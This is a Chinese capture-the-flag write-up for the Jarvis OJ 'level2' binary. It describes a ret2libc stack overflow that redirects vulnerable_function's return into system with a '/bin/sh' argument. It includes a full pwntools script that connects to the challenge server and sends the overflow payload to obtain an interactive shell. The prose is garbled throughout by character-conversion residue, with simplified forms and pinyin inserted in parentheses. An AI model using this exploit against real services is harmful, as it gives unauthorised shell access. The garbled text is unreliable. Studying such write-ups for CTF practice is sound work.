思路:這題主演考察return_to_libc,通過覆蓋vulnerable_function返回地址,跳轉(zhuǎn)到system函數(shù),構(gòu)造棧上的參數(shù),傳入"/bin/sh"。即可getshell。
1.使用gdb-peda查看是否有保護機制。
2.shift+F12查看是否有可利用函數(shù),這里有"/bin/sh"字符串,沒有現(xiàn)成的函數(shù)。
3.用IDA打開查看代碼,發(fā)現(xiàn)調(diào)用了system函數(shù)。這里我們可以覆蓋vulnerable_function返回地址,跳轉(zhuǎn)到system函數(shù),構(gòu)造棧上的參數(shù),給system傳入"/bin/sh",就可以獲得一個shell(此處system函數(shù)的返回地址可以隨便寫,因為不需要用到)。具體流程如下:
4.具體代碼如下:
# coding:utf-8
from pwn import *
context(arch='i386',os='linux',log_level='debug')
sh = remote("pwn2.jarvisoj.com",9878)
# sh = process("./level2")
elf = ELF('./level2')
_sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
payload = 'a' * (0x88 + 0x4) + p32(_sys_addr) + p32(0x0) + p32(sh_addr)
sh.recvuntil('Input:\n')
sh.sendline(payload)
sh.interactive()
sh.close()